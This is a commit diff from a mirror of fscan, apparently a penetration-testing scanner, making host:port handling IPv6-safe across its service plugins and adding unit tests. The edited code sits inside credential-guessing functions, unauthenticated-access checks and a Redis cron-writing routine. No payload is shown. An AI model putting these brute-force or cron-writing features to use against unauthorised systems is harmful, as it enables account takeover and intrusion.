archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-22 03:10:42 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: harden address parsing edge cases

Browse Source
This commit is contained in:
ZacharyZcR
2026-06-01 04:03:46 +08:00
parent 8ec96bfe6d
commit 569d21a8bc
43 changed files with 273 additions and 137 deletions
Download Patch File Download Diff File Expand all files Collapse all files
common/globals.go
+3 -2
View File
@@ -2,7 +2,8 @@ package common
import (
"errors"
"fmt"
"net"
"strconv"
"strings"
"sync"
@@ -30,7 +31,7 @@ type HostInfo struct {
// Target 返回 host:port 格式字符串
func (h *HostInfo) Target() string {
return fmt.Sprintf("%s:%d", h.Host, h.Port)
return net.JoinHostPort(h.Host, strconv.Itoa(h.Port))
}
// =============================================================================
common/globals_test.go
+10
View File
@@ -0,0 +1,10 @@
package common
import "testing"
func TestHostInfoTargetUsesBracketedIPv6(t *testing.T) {
info := &HostInfo{Host: "2001:db8::1", Port: 443}
if got, want := info.Target(), "[2001:db8::1]:443"; got != want {
t.Fatalf("Target() = %q, want %q", got, want)
}
}
common/output/buffer.go
+2 -5
View File
@@ -1,9 +1,6 @@
package output
import (
"fmt"
"sync"
)
import "sync"
// ResultBuffer 公共的去重缓冲逻辑，供各Writer复用
type ResultBuffer struct {
@@ -103,7 +100,7 @@ func (b *ResultBuffer) generateKey(result *ScanResult) string {
case TypePort:
if result.Details != nil {
if port, ok := result.Details["port"]; ok {
return fmt.Sprintf("%s:%v", result.Target, port)
return targetWithPort(result.Target, port)
}
}
return result.Target
common/output/writers.go
+21 -23
View File
@@ -5,6 +5,7 @@ import (
"encoding/csv"
"encoding/json"
"fmt"
"net"
"os"
"strings"
"sync"
@@ -37,6 +38,20 @@ func escapeControlChars(s string) string {
return b.String()
}
func targetWithPort(target string, port interface{}) string {
if port == nil {
return target
}
if _, _, err := net.SplitHostPort(target); err == nil {
return target
}
portText := fmt.Sprint(port)
if strings.Count(target, ":") == 1 {
return target
}
return net.JoinHostPort(target, portText)
}
// =============================================================================
// TXTWriter - 文本格式写入器
// =============================================================================
@@ -134,7 +149,7 @@ func (w *TXTWriter) formatLine(result *ScanResult) string {
case TypePort:
port := w.getDetail(result, "port")
if port != nil {
return fmt.Sprintf("%s:%v", result.Target, port)
return targetWithPort(result.Target, port)
}
return result.Target
case TypeService:
@@ -167,12 +182,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
}
// 非Web服务：ip:port service banner
target := result.Target
if !strings.Contains(target, ":") {
if port := w.getDetail(result, "port"); port != nil {
target = fmt.Sprintf("%s:%v", target, port)
}
}
target := targetWithPort(result.Target, w.getDetail(result, "port"))
var parts []string
parts = append(parts, target)
@@ -191,12 +201,7 @@ func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
// formatWebServiceLine 格式化Web服务结果
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
target := result.Target
if !strings.Contains(target, ":") {
if port := w.getDetail(result, "port"); port != nil {
target = fmt.Sprintf("%s:%v", target, port)
}
}
target := targetWithPort(result.Target, w.getDetail(result, "port"))
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
title := w.getDetailStr(result, "title")
@@ -364,12 +369,7 @@ func (w *TXTWriter) writeWebServices() {
continue
}
target := result.Target
if !strings.Contains(target, ":") {
if port := w.getDetail(result, "port"); port != nil {
target = fmt.Sprintf("%s:%v", target, port)
}
}
target := targetWithPort(result.Target, w.getDetail(result, "port"))
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
}
@@ -745,10 +745,8 @@ func (w *CSVWriter) formatServiceRecord(result *ScanResult) []string {
}
}
target := result.Target
if !strings.Contains(target, ":") {
if p, ok := result.Details["port"]; ok {
target = fmt.Sprintf("%s:%v", target, p)
}
if result.Details != nil {
target = targetWithPort(target, result.Details["port"])
}
return []string{target, service, version, title, status, server, fingerprints, banner}
}
common/output/writers_test.go
+22
View File
@@ -57,6 +57,28 @@ func createTestResult(resultType ResultType, target, status string, details map[
}
}
func TestTargetWithPortIPv6(t *testing.T) {
tests := []struct {
name string
target string
port interface{}
want string
}{
{name: "ipv4 without port", target: "192.168.1.1", port: 80, want: "192.168.1.1:80"},
{name: "ipv4 with port", target: "192.168.1.1:80", port: 443, want: "192.168.1.1:80"},
{name: "ipv6 without port", target: "2001:db8::1", port: 443, want: "[2001:db8::1]:443"},
{name: "ipv6 with port", target: "[2001:db8::1]:443", port: 80, want: "[2001:db8::1]:443"},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := targetWithPort(tt.target, tt.port); got != tt.want {
t.Fatalf("targetWithPort(%q, %v) = %q, want %q", tt.target, tt.port, got, tt.want)
}
})
}
}
// =============================================================================
// TXTWriter - 基础功能测试
// =============================================================================
core/icmp.go
+2 -1
View File
@@ -8,6 +8,7 @@ import (
"net"
"os/exec"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
@@ -704,7 +705,7 @@ func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string
result := make(chan bool, len(tcpProbeCommonPorts))
for _, port := range tcpProbeCommonPorts {
go func(p int) {
addr := fmt.Sprintf("%s:%d", host, p)
addr := net.JoinHostPort(host, strconv.Itoa(p))
conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout)
if err == nil {
_ = conn.Close()
core/port_scan.go
+5 -4
View File
@@ -4,6 +4,7 @@ import (
"context"
"fmt"
"net"
"strconv"
"strings"
"sync"
"sync/atomic"
@@ -673,7 +674,7 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin
_ = session.SaveResult(&output.ScanResult{
Time: time.Now(),
Type: output.TypeService,
Target: fmt.Sprintf("%s:%d", host, port),
Target: net.JoinHostPort(host, strconv.Itoa(port)),
Status: "identified",
Details: details,
})
@@ -741,7 +742,7 @@ func tryHTTPFallbackDetection(ctx context.Context, host string, port int, addr s
_ = session.SaveResult(&output.ScanResult{
Time: time.Now(),
Type: output.TypeService,
Target: fmt.Sprintf("%s:%d", host, port),
Target: net.JoinHostPort(host, strconv.Itoa(port)),
Status: "identified",
Details: details,
})
@@ -812,7 +813,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se
_ = conn.Close()
aliveSubnets.Store(pfx, true)
}
}(prefix, fmt.Sprintf("%s:%d", gw, port))
}(prefix, net.JoinHostPort(gw, strconv.Itoa(port)))
}
}
}
@@ -845,7 +846,7 @@ func probeSubnets(ctx context.Context, hosts []string, timeout time.Duration, se
go func(pfx, h string, p int) {
defer func() { <-limiter; wg.Done() }()
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", h, p), subnetProbeTimeout)
conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(h, strconv.Itoa(p)), subnetProbeTimeout)
if err == nil {
_ = conn.Close()
aliveSubnets.Store(pfx, true)
core/service_probe.go
+3 -3
View File
@@ -3,9 +3,9 @@ package core
import (
"context"
"errors"
"fmt"
"io"
"net"
"strconv"
"strings"
"sync"
"time"
@@ -264,7 +264,7 @@ func (s *SmartPortInfoScanner) reconnectIfNeeded() {
}
// 重新建立连接
newConn, err := s.session.DialTCP(s.info.ctx, "tcp", fmt.Sprintf("%s:%d", s.Address, s.Port), s.Timeout)
newConn, err := s.session.DialTCP(s.info.ctx, "tcp", net.JoinHostPort(s.Address, strconv.Itoa(s.Port)), s.Timeout)
if err != nil {
return
}
@@ -542,7 +542,7 @@ func (i *Info) Write(msg []byte) error {
_ = oldConn.Close()
// 尝试重新连接 - 支持SOCKS5代理
newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
newConn, retryErr := i.session.DialTCP(i.ctx, "tcp", net.JoinHostPort(i.Address, strconv.Itoa(i.Port)), time.Duration(6)*time.Second)
if retryErr != nil {
return retryErr
}
core/service_scanner.go
+11 -4
View File
@@ -3,6 +3,7 @@ package core
import (
"context"
"fmt"
"net"
"strconv"
"strings"
"sync"
@@ -422,15 +423,21 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo comm
var infos []common.HostInfo
for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
targetIP = strings.TrimSpace(targetIP)
host, portStr, err := net.SplitHostPort(targetIP)
if err != nil && strings.Count(targetIP, ":") == 1 {
parts := strings.SplitN(targetIP, ":", 2)
host, portStr = parts[0], parts[1]
err = nil
}
if err != nil {
common.LogError(i18n.Tr("invalid_target_format", targetIP))
continue
}
// 去除空格并过滤空值
host := strings.TrimSpace(hostParts[0])
portStr := strings.TrimSpace(hostParts[1])
host = strings.TrimSpace(host)
portStr = strings.TrimSpace(portStr)
if host == "" || portStr == "" {
common.LogError(i18n.Tr("invalid_target_format", targetIP))
continue
core/service_scanner_test.go
+16 -2
View File
@@ -545,12 +545,26 @@ func TestConvertToTargetInfos(t *testing.T) {
},
},
{
name: "IPv6地址",
name: "裸IPv6地址缺少方括号",
ports: []string{"::1:8080"},
baseInfo: common.HostInfo{},
expectedLen: 0, // Split会产生多个部分，被判定为非法
expectedLen: 0,
validateFunc: nil,
},
{
name: "IPv6地址",
ports: []string{"[2001:db8::1]:8080"},
baseInfo: common.HostInfo{},
expectedLen: 1,
validateFunc: func(t *testing.T, infos []common.HostInfo) {
if infos[0].Host != "2001:db8::1" {
t.Errorf("Host = %q, 期望 '2001:db8::1'", infos[0].Host)
}
if infos[0].Port != 8080 {
t.Errorf("Port = %d, 期望 8080", infos[0].Port)
}
},
},
{
name: "域名+端口",
ports: []string{"example.com:80", "test.local:443"},
core/web_scanner.go
+5 -10
View File
@@ -38,7 +38,7 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config
}
timeout := config.Network.WebTimeout
addr := fmt.Sprintf("%s:%d", host, port)
addr := net.JoinHostPort(host, strconv.Itoa(port))
// 第一步：尝试标准TLS握手（优先检测HTTPS）
tlsDialer := &net.Dialer{Timeout: timeout}
@@ -179,15 +179,10 @@ func isPortReachable(ctx context.Context, host string, port int, config *common.
// tryHTTP 尝试HTTP请求 - 简化的核心逻辑
func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool {
// 构造URL
var url string
if (port == 80 && protocol == "http") || (port == 443 && protocol == "https") {
url = fmt.Sprintf("%s://%s", protocol, host)
} else {
url = fmt.Sprintf("%s://%s:%d", protocol, host, port)
}
targetURL := (&url.URL{Scheme: protocol, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String()
// 发送HEAD请求
req, err := http.NewRequestWithContext(ctx, "HEAD", url, nil)
req, err := http.NewRequestWithContext(ctx, "HEAD", targetURL, nil)
if err != nil {
return false
}
@@ -266,7 +261,7 @@ func IsWebServiceByFingerprint(serviceInfo *ServiceInfo) bool {
// MarkAsWebService 标记Web服务 - 保持API兼容
func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) {
cacheKey := fmt.Sprintf("%s:%d", host, port)
cacheKey := net.JoinHostPort(host, strconv.Itoa(port))
webCacheMutex.Lock()
defer webCacheMutex.Unlock()
@@ -276,7 +271,7 @@ func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) {
// GetWebServiceInfo 获取Web服务信息
func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) {
cacheKey := fmt.Sprintf("%s:%d", host, port)
cacheKey := net.JoinHostPort(host, strconv.Itoa(port))
webCacheMutex.RLock()
defer webCacheMutex.RUnlock()
plugins/services/bacnet.go
+1 -2
View File
@@ -5,7 +5,6 @@ package services
import (
"context"
"encoding/binary"
"fmt"
"time"
"github.com/shadow1ng/fscan/common"
@@ -28,7 +27,7 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session
timeout = 3 * time.Second
}
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
target := info.Target()
conn, err := session.DialUDP(ctx, target, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "bacnet"}
plugins/services/cassandra.go
+3 -3
View File
@@ -84,7 +84,7 @@ const (
)
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
timeout := config.Timeout
dialer := net.Dialer{Timeout: timeout}
@@ -251,7 +251,7 @@ func classifyCassandraErrorType(err error) ErrorType {
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
target := info.Target()
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
timeout := config.Timeout
dialer := net.Dialer{Timeout: timeout}
@@ -297,7 +297,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
target := info.Target()
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
timeout := config.Timeout
dialer := net.Dialer{Timeout: timeout}
plugins/services/credential_tester.go
+1 -1
View File
@@ -133,7 +133,7 @@ func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
// DefaultConcurrentTestConfigWithTarget 带目标预检的默认配置
func DefaultConcurrentTestConfigWithTarget(config *common.Config, info *common.HostInfo) ConcurrentTestConfig {
cfg := DefaultConcurrentTestConfig(config)
cfg.TargetAddr = fmt.Sprintf("%s:%d", info.Host, info.Port)
cfg.TargetAddr = info.Target()
return cfg
}
plugins/services/dns.go
+1 -2
View File
@@ -4,7 +4,6 @@ package services
import (
"context"
"fmt"
"time"
"github.com/shadow1ng/fscan/common"
@@ -25,7 +24,7 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
timeout = 3 * time.Second
}
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
target := info.Target()
queryID := randomUint16()
query := buildDNSRootNSQuery(queryID)
plugins/services/dnstcp.go
+1 -2
View File
@@ -5,7 +5,6 @@ package services
import (
"context"
"encoding/binary"
"fmt"
"io"
"time"
@@ -27,7 +26,7 @@ func (p *DNSTCPPlugin) Scan(ctx context.Context, info *common.HostInfo, session
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "dns"}
plugins/services/elasticsearch.go
+1 -1
View File
@@ -88,7 +88,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H
if info.Port == 9443 {
protocol = "https"
}
url := fmt.Sprintf("%s://%s:%d/", protocol, info.Host, info.Port)
url := fmt.Sprintf("%s://%s/", protocol, info.Target())
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
if err != nil {
plugins/services/imap.go
+2 -2
View File
@@ -28,7 +28,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "imap"}
@@ -75,7 +75,7 @@ func (p *IMAPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
}
func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return nil
plugins/services/ipmi.go
+19 -19
View File
@@ -25,7 +25,7 @@ func (p *IPMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
target := info.Target()
if result := p.rmcpPing(ctx, target, timeout, session); result != nil {
return result
@@ -42,15 +42,15 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D
// ASF Presence Ping: RMCP header + ASF message
ping := []byte{
0x06, // RMCP version 1.0
0x00, // reserved
0xff, // sequence number (no ack)
0x06, // class = ASF
0x06, // RMCP version 1.0
0x00, // reserved
0xff, // sequence number (no ack)
0x06, // class = ASF
0x00, 0x00, 0x11, 0xbe, // IANA enterprise = ASF (4542)
0x80, // message type = Presence Ping
0x00, // message tag
0x00, // reserved
0x00, // data length = 0
0x80, // message type = Presence Ping
0x00, // message tag
0x00, // reserved
0x00, // data length = 0
}
if _, err := conn.Write(ping); err != nil {
@@ -108,16 +108,16 @@ func (p *IPMIPlugin) getChannelAuth(conn interface {
0x00, 0x00, 0x00, 0x00, // auth type = none
0x00, 0x00, 0x00, 0x00, // session seq
0x00, 0x00, 0x00, 0x00, // session id
0x09, // message length
0x20, // target = BMC
0x18, // netFn=App(6) << 2 | lun=0
0xc8, // checksum
0x81, // source
0x00, // seq
0x38, // cmd = Get Channel Auth Capabilities
0x8e, // channel=14 (current), IPMI v2.0
0x04, // privilege = Administrator
0xb5, // checksum
0x09, // message length
0x20, // target = BMC
0x18, // netFn=App(6) << 2 | lun=0
0xc8, // checksum
0x81, // source
0x00, // seq
0x38, // cmd = Get Channel Auth Capabilities
0x8e, // channel=14 (current), IPMI v2.0
0x04, // privilege = Administrator
0xb5, // checksum
}
if _, err := conn.Write(pkt); err != nil {
plugins/services/jdwp.go
+9 -6
View File
@@ -5,7 +5,6 @@ package services
import (
"bytes"
"context"
"fmt"
"io"
"time"
@@ -29,7 +28,7 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "jdwp"}
@@ -57,16 +56,20 @@ func (p *JDWPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
}
}
func (p *JDWPPlugin) getVersion(conn interface{ Read([]byte) (int, error); Write([]byte) (int, error); SetDeadline(time.Time) error }, timeout time.Duration) string {
func (p *JDWPPlugin) getVersion(conn interface {
Read([]byte) (int, error)
Write([]byte) (int, error)
SetDeadline(time.Time) error
}, timeout time.Duration) string {
_ = conn.SetDeadline(time.Now().Add(timeout))
// JDWP Version command: length=11, id=1, flags=0, commandSet=1, command=1
pkt := []byte{
0x00, 0x00, 0x00, 0x0b, // length = 11
0x00, 0x00, 0x00, 0x01, // id = 1
0x00, // flags = 0 (request)
0x01, // commandSet = 1 (VirtualMachine)
0x01, // command = 1 (Version)
0x00, // flags = 0 (request)
0x01, // commandSet = 1 (VirtualMachine)
0x01, // command = 1 (Version)
}
if _, err := conn.Write(pkt); err != nil {
return ""
plugins/services/kafka.go
+1 -1
View File
@@ -65,7 +65,7 @@ func (p *KafkaPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
// ── raw TCP Kafka 实现 ──────────────────────────────────────────
func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
target := info.Target()
timeout := config.Timeout
dialer := net.Dialer{Timeout: timeout}
plugins/services/modbus.go
+1 -2
View File
@@ -5,7 +5,6 @@ package services
import (
"context"
"encoding/binary"
"fmt"
"io"
"time"
@@ -27,7 +26,7 @@ func (p *ModbusPlugin) Scan(ctx context.Context, info *common.HostInfo, session
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "modbus"}
plugins/services/mongodb.go
+2 -2
View File
@@ -83,7 +83,7 @@ func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Con
// ── raw TCP MongoDB SCRAM 认证 ──────────────────────────────────
func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
timeout := config.Timeout
conn, err := dialTCP(ctx, addr, timeout)
@@ -384,7 +384,7 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
}
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
realhost := info.Target()
reply, err := p.checkMongoAuth(ctx, realhost, createOpMsgPacket(), session)
if err != nil {
plugins/services/mqtt.go
+1 -1
View File
@@ -37,7 +37,7 @@ func (p *MQTTPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "mqtt"}
plugins/services/mysql.go
+3 -2
View File
@@ -8,6 +8,7 @@ import (
"fmt"
"log"
"net"
"strconv"
"time"
"github.com/go-sql-driver/mysql"
@@ -76,8 +77,8 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
// doMySQLAuth 执行MySQL认证
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds",
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds",
cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds()))
db, err := sql.Open("mysql", connStr)
if err != nil {
plugins/services/neo4j.go
+3 -3
View File
@@ -71,7 +71,7 @@ func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, session *common.Scan
// doNeo4jAuth 执行Neo4j认证
func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
config := session.Config
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
baseURL := "http://" + info.Target()
client := &http.Client{Timeout: config.Timeout}
@@ -147,7 +147,7 @@ func classifyNeo4jErrorType(err error) ErrorType {
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
baseURL := "http://" + info.Target()
client := &http.Client{Timeout: config.Timeout}
@@ -192,7 +192,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
baseURL := "http://" + info.Target()
client := &http.Client{Timeout: config.Timeout}
plugins/services/nfs.go
+1 -1
View File
@@ -26,7 +26,7 @@ func (p *NFSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "nfs"}
plugins/services/oracle_raw.go
+1 -1
View File
@@ -96,7 +96,7 @@ type oracleSummary struct {
}
func oracleRawAuth(ctx context.Context, host string, port int, serviceName, username, password string, timeout time.Duration) error {
addr := fmt.Sprintf("%s:%d", host, port)
addr := net.JoinHostPort(host, strconv.Itoa(port))
dialer := net.Dialer{Timeout: timeout}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err != nil {
plugins/services/pop3.go
+2 -2
View File
@@ -28,7 +28,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c
timeout = 3 * time.Second
}
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return &ScanResult{Success: false, Service: "pop3"}
@@ -75,7 +75,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c
}
func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
addr := info.Target()
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
if err != nil {
return nil
plugins/services/postgresql.go
+23 -6
View File
@@ -6,6 +6,8 @@ import (
"context"
"database/sql"
"fmt"
"net/url"
"strconv"
"strings"
_ "github.com/lib/pq" // PostgreSQL driver
@@ -71,8 +73,7 @@ func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.
// doPostgreSQLAuth 执行PostgreSQL认证
func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
connStr := fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.Timeout.Seconds()))
db, err := sql.Open("postgres", connStr)
if err != nil {
@@ -148,10 +149,27 @@ func classifyPostgreSQLErrorType(err error) ErrorType {
return ClassifyError(err, pgAuthErrors, pgNetworkErrors)
}
func postgreSQLConnString(username, password string, info *common.HostInfo, timeoutSeconds int64) string {
u := &url.URL{
Scheme: "postgres",
Host: info.Target(),
Path: "postgres",
}
if password == "" {
u.User = url.User(username)
} else {
u.User = url.UserPassword(username, password)
}
q := u.Query()
q.Set("sslmode", "disable")
q.Set("connect_timeout", strconv.FormatInt(timeoutSeconds, 10))
u.RawQuery = q.Encode()
return u.String()
}
// testUnauthorizedAccess 测试PostgreSQL未授权访问
func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
info.Host, info.Port, int64(config.Timeout.Seconds()))
connStr := postgreSQLConnString("postgres", "", info, int64(config.Timeout.Seconds()))
db, err := sql.Open("postgres", connStr)
if err != nil {
@@ -204,8 +222,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
target := info.Target()
connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
info.Host, info.Port, int64(config.Timeout.Seconds()))
connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds()))
db, err := sql.Open("postgres", connStr)
if err != nil {
plugins/services/postgresql_test.go
+23
View File
@@ -0,0 +1,23 @@
package services
import (
"strings"
"testing"
"github.com/shadow1ng/fscan/common"
)
func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) {
info := &common.HostInfo{Host: "2001:db8::1", Port: 5432}
got := postgreSQLConnString("user:name", "pa:ss word", info, 3)
for _, want := range []string{
"postgres://user%3Aname:pa%3Ass%20word@[2001:db8::1]:5432/postgres",
"connect_timeout=3",
"sslmode=disable",
} {
if !strings.Contains(got, want) {
t.Fatalf("postgreSQLConnString() = %q, missing %q", got, want)
}
}
}
plugins/services/rabbitmq.go
+5 -3
View File
@@ -6,7 +6,9 @@ import (
"context"
"fmt"
"io"
"net"
"net/http"
"strconv"
"strings"
"time"
@@ -81,7 +83,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn
}
}
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port))
client := &http.Client{Timeout: config.Timeout}
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
@@ -162,7 +164,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
port = 15672
}
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port))
client := &http.Client{Timeout: config.Timeout}
// 测试无认证访问
@@ -261,7 +263,7 @@ func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostI
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
baseURL := "http://" + info.Target()
client := &http.Client{Timeout: config.Timeout}
plugins/services/redis.go
+7 -3
View File
@@ -594,11 +594,15 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
}
// 解析目标地址
target := strings.Split(host, ":")
if len(target) < 2 {
scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host))
if err != nil && strings.Count(host, ":") == 1 {
target := strings.SplitN(host, ":", 2)
scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1])
err = nil
}
if err != nil || scanIp == "" || scanPort == "" {
return false, i18n.GetText("redis_host_format_invalid"), nil
}
scanIp, scanPort := target[0], target[1]
// 写入cron任务
